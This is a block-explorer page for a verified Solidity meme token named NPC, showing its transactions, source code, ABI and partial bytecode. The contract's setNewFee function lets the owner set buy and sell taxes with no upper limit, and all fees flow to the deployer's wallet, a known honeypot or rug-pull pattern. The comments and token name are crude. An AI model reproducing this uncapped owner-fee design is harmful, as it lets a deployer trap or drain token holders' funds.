ETH Price: $3,397.22 (+5.12%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve206511812024-08-31 21:17:11145 days ago1725139031IN
0x256974d5...951F63175
0 ETH0.000019430.8
Approve203487312024-07-20 15:46:59187 days ago1721490419IN
0x256974d5...951F63175
0 ETH0.000231145
Approve202027752024-06-30 6:41:23208 days ago1719729683IN
0x256974d5...951F63175
0 ETH0.000093882.03079735
Approve180950602023-09-08 23:46:47503 days ago1694216807IN
0x256974d5...951F63175
0 ETH0.000468410.13220294
Approve180892972023-09-08 4:23:47504 days ago1694147027IN
0x256974d5...951F63175
0 ETH0.000420429.03808719
Approve179362042023-08-17 18:04:23525 days ago1692295463IN
0x256974d5...951F63175
0 ETH0.0015776933.91655062
Approve179241032023-08-16 1:26:11527 days ago1692149171IN
0x256974d5...951F63175
0 ETH0.0008787719.00923378
Approve178993272023-08-12 14:18:35530 days ago1691849915IN
0x256974d5...951F63175
0 ETH0.0012326626.62966627
Approve178911022023-08-11 10:39:11531 days ago1691750351IN
0x256974d5...951F63175
0 ETH0.0008132517.56910842
Approve178837832023-08-10 10:06:47532 days ago1691662007IN
0x256974d5...951F63175
0 ETH0.0008840119.00402798
Approve178834252023-08-10 8:54:23532 days ago1691657663IN
0x256974d5...951F63175
0 ETH0.0008559318.51991493
Approve178814972023-08-10 2:25:35533 days ago1691634335IN
0x256974d5...951F63175
0 ETH0.000418915.93204149
Approve178807532023-08-09 23:55:23533 days ago1691625323IN
0x256974d5...951F63175
0 ETH0.0007286915.66510564
Approve178796302023-08-09 20:09:35533 days ago1691611775IN
0x256974d5...951F63175
0 ETH0.0013275228.68649283
Approve178781842023-08-09 15:16:59533 days ago1691594219IN
0x256974d5...951F63175
0 ETH0.0021640346.81130089
Approve178781742023-08-09 15:14:47533 days ago1691594087IN
0x256974d5...951F63175
0 ETH0.0019731942.68306158
Approve178780352023-08-09 14:46:35533 days ago1691592395IN
0x256974d5...951F63175
0 ETH0.0014293930.72852089
Approve178778332023-08-09 14:06:11533 days ago1691589971IN
0x256974d5...951F63175
0 ETH0.0013222928.60304181
Approve178778232023-08-09 14:04:11533 days ago1691589851IN
0x256974d5...951F63175
0 ETH0.0013790529.64628463
Approve178775242023-08-09 13:03:59533 days ago1691586239IN
0x256974d5...951F63175
0 ETH0.0018846140.51444327
Approve178775002023-08-09 12:59:11533 days ago1691585951IN
0x256974d5...951F63175
0 ETH0.0011255524.19661765
Approve178772432023-08-09 12:07:23533 days ago1691582843IN
0x256974d5...951F63175
0 ETH0.001127524.2385227
Approve178771852023-08-09 11:55:47533 days ago1691582147IN
0x256974d5...951F63175
0 ETH0.0008405118.06890792
Approve178766762023-08-09 10:13:23533 days ago1691576003IN
0x256974d5...951F63175
0 ETH0.0008025217.25230491
Approve178765952023-08-09 9:56:59533 days ago1691575019IN
0x256974d5...951F63175
0 ETH0.0009082119.64591712
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
178817882023-08-10 3:23:59533 days ago1691637839
0x256974d5...951F63175
0.00353089 ETH
178817882023-08-10 3:23:59533 days ago1691637839
0x256974d5...951F63175
0.00353089 ETH
178780382023-08-09 14:47:11533 days ago1691592431
0x256974d5...951F63175
0.01392357 ETH
178780382023-08-09 14:47:11533 days ago1691592431
0x256974d5...951F63175
0.01392357 ETH
178768102023-08-09 10:40:23533 days ago1691577623
0x256974d5...951F63175
0.02258266 ETH
178768102023-08-09 10:40:23533 days ago1691577623
0x256974d5...951F63175
0.02258266 ETH
178765732023-08-09 9:52:35533 days ago1691574755
0x256974d5...951F63175
0.03993774 ETH
178765732023-08-09 9:52:35533 days ago1691574755
0x256974d5...951F63175
0.03993774 ETH
178758662023-08-09 7:30:23533 days ago1691566223
0x256974d5...951F63175
0.01371378 ETH
178758662023-08-09 7:30:23533 days ago1691566223
0x256974d5...951F63175
0.01371378 ETH
178753732023-08-09 5:50:59534 days ago1691560259
0x256974d5...951F63175
0.02783808 ETH
178753732023-08-09 5:50:59534 days ago1691560259
0x256974d5...951F63175
0.02783808 ETH
178751522023-08-09 5:06:35534 days ago1691557595
0x256974d5...951F63175
0.0155888 ETH
178751522023-08-09 5:06:35534 days ago1691557595
0x256974d5...951F63175
0.0155888 ETH
178751512023-08-09 5:06:23534 days ago1691557583
0x256974d5...951F63175
0.0155888 ETH
178751512023-08-09 5:06:23534 days ago1691557583
0x256974d5...951F63175
0.0155888 ETH
178750942023-08-09 4:54:59534 days ago1691556899
0x256974d5...951F63175
0.03140357 ETH
178750942023-08-09 4:54:59534 days ago1691556899
0x256974d5...951F63175
0.03140357 ETH
178750502023-08-09 4:46:11534 days ago1691556371
0x256974d5...951F63175
0.05480484 ETH
178750502023-08-09 4:46:11534 days ago1691556371
0x256974d5...951F63175
0.05480484 ETH
178750082023-08-09 4:37:23534 days ago1691555843
0x256974d5...951F63175
0.01461707 ETH
178750082023-08-09 4:37:23534 days ago1691555843
0x256974d5...951F63175
0.01461707 ETH
178749512023-08-09 4:25:59534 days ago1691555159
0x256974d5...951F63175
0.01056901 ETH
178749512023-08-09 4:25:59534 days ago1691555159
0x256974d5...951F63175
0.01056901 ETH
178749502023-08-09 4:25:47534 days ago1691555147
0x256974d5...951F63175
0.00194618 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NPC

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-09
*/

/*
https://www.npc.community/

https://t.me/npccommunity

https://twitter.com/npccommunity

dev is transracial

⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠤⠖⠚⢉⣩⣭⡭⠛⠓⠲⠦⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⡴⠋⠁⠀⠀⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠳⢦⡀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⡴⠃⢀⡴⢳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠀⠀⠀
⠀⠀⠀⠀⡾⠁⣠⠋⠀⠈⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢧⠀⠀
⠀⠀⠀⣸⠁⢰⠃⠀⠀⠀⠈⢣⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣇⠀
⠀⠀⠀⡇⠀⡾⡀⠀⠀⠀⠀⣀⣹⣆⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠀
⠀⠀⢸⠃⢀⣇⡈⠀⠀⠀⠀⠀⠀⢀⡑⢄⡀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⢸⠀⢻⡟⡻⢶⡆⠀⠀⠀⠀⡼⠟⡳⢿⣦⡑⢄⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣸⠀⢸⠃⡇⢀⠇⠀⠀⠀⠀⠀⡼⠀⠀⠈⣿⡗⠂⠀⠀⠀⠀⠀⠀⠀⢸⠁
⠀⠀⡏⠀⣼⠀⢳⠊⠀⠀⠀⠀⠀⠀⠱⣀⣀⠔⣸⠁⠀⠀⠀⠀⠀⠀⠀⢠⡟⠀
⠀⠀⡇⢀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⠀
⠀⢸⠃⠘⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠁⠀⠀⢀⠀⠀⠀⠀⠀⣾⠀⠀
⠀⣸⠀⠀⠹⡄⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⠀⠸⠀⠀⠀⠀⠀⡇⠀⠀
⠀⡏⠀⠀⠀⠙⣆⠀⠀⠀⠀⠀⠀⠀⢀⣠⢶⡇⠀⠀⢰⡀⠀⠀⠀⠀⠀⡇⠀⠀
⢰⠇⡄⠀⠀⠀⡿⢣⣀⣀⣀⡤⠴⡞⠉⠀⢸⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⣧⠀⠀
⣸⠀⡇⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⢹⠀⠀⢸⠀⠀⢀⣿⠇⠀⠀⠀⠁⠀⢸⠀⠀
⣿⠀⡇⠀⠀⠀⠀⠀⢀⡤⠤⠶⠶⠾⠤⠄⢸⠀⡀⠸⣿⣀⠀⠀⠀⠀⠀⠈⣇⠀
⡇⠀⡇⠀⠀⡀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠸⡌⣵⡀⢳⡇⠀⠀⠀⠀⠀⠀⢹⡀
⡇⠀⠇⠀⠀⡇⡸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠮⢧⣀⣻⢂⠀⠀⠀⠀⠀⠀⢧
⣇⠀⢠⠀⠀⢳⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡎⣆⠀⠀⠀⠀⠀⠘
⢻⠀⠈⠰⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠘⢮⣧⡀⠀⠀⠀⠀
⠸⡆⠀⠀⠇⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠆⠀⠀⠀⠀⠀⠀⠀⠙⠳⣄⡀⢢⡀

*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NPC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _buyTax=21;
    uint256 private _sellTax=28;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420000000000 * 10**_decimals;
    string private constant _name = unicode"nevrotic paranoic cunts";
    string private constant _symbol = unicode"NPC";
    uint256 public _maxTxAmount = 4200000000 * 10**_decimals;
    uint256 public _maxWalletSize = 4200000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 840000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4200000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_buyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_sellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            taxAmount = 0;
        }

        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function setNewFee(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _buyTax = taxFeeOnBuy;
        _sellTax = taxFeeOnSell;
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function airdrop(address airdropAddress, uint256 amount) external onlyOwner(){
        address from = msg.sender;
        _transfer(from, airdropAddress, amount * (10 ** 9));
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function manualSend() external {
        require(_msgSender()==_taxWallet);
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"airdropAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setNewFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191660011790556015600755601c600855601960099081555f600a90815562000034919062000337565b620000449063fa56ea006200034e565b600b55620000556009600a62000337565b620000659063fa56ea006200034e565b600c55620000766009600a62000337565b620000869063321162006200034e565b600d55620000976009600a62000337565b620000a79063fa56ea006200034e565b600e556010805461ffff60a81b19169055348015620000c4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191661010033021790556200012a6009600a62000337565b6200013b906461c9f368006200034e565b335f908152600160208190526040822092909255600390620001645f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001c73390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002006009600a62000337565b62000211906461c9f368006200034e565b60405190815260200160405180910390a362000368565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027c57815f190482111562000260576200026062000228565b808516156200026e57918102915b93841c939080029062000241565b509250929050565b5f82620002945750600162000331565b81620002a257505f62000331565b8160018114620002bb5760028114620002c657620002e6565b600191505062000331565b60ff841115620002da57620002da62000228565b50506001821b62000331565b5060208310610133831016604e8410600b84101617156200030b575081810a62000331565b6200031783836200023c565b805f19048211156200032d576200032d62000228565b0290505b92915050565b5f6200034760ff84168362000284565b9392505050565b808202811582820484141762000331576200033162000228565b6118bc80620003765f395ff3fe608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb14610361578063bf474bed14610380578063c876d0b914610395578063c9567bf9146103ae578063dd62ed3e146103c2578063f429389014610406575f80fd5b80637d1db4a5146102c75780638ba4cc3c146102dc5780638da5cb5b146102fb5780638f9a55c01461032157806395d89b4114610336575f80fd5b8063313ce567116100f9578063313ce5671461021b57806340aa6b921461023657806351bc3c851461025757806370a082311461026b578063715018a61461029f578063751039fc146102b3575f80fd5b806306fdde031461013f578063095ea7b3146101965780630faee56f146101c557806318160ddd146101e857806323b872dd146101fc575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152601781527f6e6576726f74696320706172616e6f69632063756e747300000000000000000060208201525b60405161018d9190611492565b60405180910390f35b3480156101a1575f80fd5b506101b56101b03660046114f1565b61041a565b604051901515815260200161018d565b3480156101d0575f80fd5b506101da600e5481565b60405190815260200161018d565b3480156101f3575f80fd5b506101da610430565b348015610207575f80fd5b506101b561021636600461151b565b610451565b348015610226575f80fd5b506040516009815260200161018d565b348015610241575f80fd5b50610255610250366004611559565b6104b8565b005b348015610262575f80fd5b506102556104f5565b348015610276575f80fd5b506101da610285366004611579565b6001600160a01b03165f9081526001602052604090205490565b3480156102aa575f80fd5b5061025561054b565b3480156102be575f80fd5b506102556105bc565b3480156102d2575f80fd5b506101da600b5481565b3480156102e7575f80fd5b506102556102f63660046114f1565b61067a565b348015610306575f80fd5b505f546040516001600160a01b03909116815260200161018d565b34801561032c575f80fd5b506101da600c5481565b348015610341575f80fd5b506040805180820190915260038152624e504360e81b6020820152610180565b34801561036c575f80fd5b506101b561037b3660046114f1565b6106c1565b34801561038b575f80fd5b506101da600d5481565b3480156103a0575f80fd5b506006546101b59060ff1681565b3480156103b9575f80fd5b506102556106cd565b3480156103cd575f80fd5b506101da6103dc366004611594565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610411575f80fd5b50610255610a77565b5f610426338484610aae565b5060015b92915050565b5f61043d6009600a6116bf565b61044c906461c9f368006116cd565b905090565b5f61045d848484610bd1565b6104ae84336104a98560405180606001604052806028815260200161185f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061110a565b610aae565b5060019392505050565b5f546001600160a01b031633146104ea5760405162461bcd60e51b81526004016104e1906116e4565b60405180910390fd5b600791909155600855565b60065461010090046001600160a01b0316336001600160a01b031614610519575f80fd5b305f9081526001602052604090205480156105375761053781611142565b47801561054757610547816112b2565b5050565b5f546001600160a01b031633146105745760405162461bcd60e51b81526004016104e1906116e4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e55760405162461bcd60e51b81526004016104e1906116e4565b6105f16009600a6116bf565b610600906461c9f368006116cd565b600b5561060f6009600a6116bf565b61061e906461c9f368006116cd565b600c556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106586009600a6116bf565b610667906461c9f368006116cd565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106a35760405162461bcd60e51b81526004016104e1906116e4565b336106bc81846106b785633b9aca006116cd565b610bd1565b505050565b5f610426338484610bd1565b5f546001600160a01b031633146106f65760405162461bcd60e51b81526004016104e1906116e4565b601054600160a01b900460ff16156107505760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e1565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561079a90309061078b6009600a6116bf565b6104a9906461c9f368006116cd565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080e9190611719565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561086d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108919190611719565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ff9190611719565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d7194730610946816001600160a01b03165f9081526001602052604090205490565b5f806109595f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109bf573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109e49190611734565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5d919061175f565b506010805462ff00ff60a01b19166201000160a01b179055565b60065461010090046001600160a01b0316336001600160a01b031614610a9b575f80fd5b478015610aab57610aab816112b2565b50565b6001600160a01b038316610b105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e1565b6001600160a01b038216610b715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e1565b6001600160a01b038216610c975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e1565b5f8111610cf85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366